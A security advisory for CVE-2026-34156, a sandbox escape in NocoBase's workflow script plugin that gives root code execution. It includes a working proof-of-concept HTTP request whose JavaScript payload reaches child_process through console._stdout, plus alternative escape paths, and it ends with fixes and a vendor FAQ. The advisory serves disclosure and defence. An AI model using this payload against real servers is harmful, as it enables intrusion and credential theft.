CVE-2026-34156

## Summary

NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr.

An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.

Exploit Chain

1. console._stdout.constructor.constructor → host-realm Function constructor
2. Function('return process')() → Node.js process object
3. process.mainModule.require('child_process') → unrestricted module loading
4. child_process.execSync('id') → RCE as root

This completely bypasses the customRequire allowlist.

Proof of Concept

HTTP Request:

POST /api/flow_nodes:test
Authorization: Bearer
Content-Type: application/json

{
"type": "script",
"config": {
"content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();",
"timeout": 5000,
"arguments": []
}
}

Response:

{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}

Environment

• Docker image: nocobase/nocobase:latest
• NocoBase CLI: v2.0.26
• Node.js: v20.20.1
• OS: Debian GNU/Linux 12 (bookworm)

PoC

Got reverse shell

Proof of concept the root privileges

os-release demonstration

App path

Exploit Usage:

Reverse Shell Mode

Dump system information & creds

Remote Command Execution Mode

Alternative Escape Vectors

• console._stderr.constructor.constructor (identical chain via stderr)
• Error.prepareStackTrace + CallSite.getThis() (V8 CallSite API)

Reporter

Onurcan Genç, Independent Security Researcher, Bilkent University

• Remote Code Execution as root (uid=0) inside Docker container
• Database credential theft (DB_PASSWORD, INIT_ROOT_PASSWORD from process.env)
• Arbitrary file read/write via require('fs')
• Reverse shell confirmed
• Outbound network access for lateral movement

CVE-2026-34156 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.28); upgrading removes the vulnerable code path.

Kodem intelligence

1. Replace Node.js vm module with isolated-vm for true V8 isolate separation
2. Do not pass the host console object into the sandbox; create a clean proxy
3. Run the application as a non-root user inside Docker
4. Restrict /api/flow_nodes:test to admin-only roles

1. What is CVE-2026-34156? CVE-2026-34156 is a critical-severity security vulnerability in @nocobase/plugin-workflow-javascript (npm), affecting versions <= 2.0.27. It is fixed in 2.0.28.
2. How severe is CVE-2026-34156? CVE-2026-34156 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @nocobase/plugin-workflow-javascript are affected by CVE-2026-34156? @nocobase/plugin-workflow-javascript (npm) versions <= 2.0.27 is affected.
4. Is there a fix for CVE-2026-34156? Yes. CVE-2026-34156 is fixed in 2.0.28. Upgrade to this version or later.
5. Is CVE-2026-34156 exploitable, and should I be worried? Whether CVE-2026-34156 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34156 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34156? Upgrade @nocobase/plugin-workflow-javascript to 2.0.28 or later.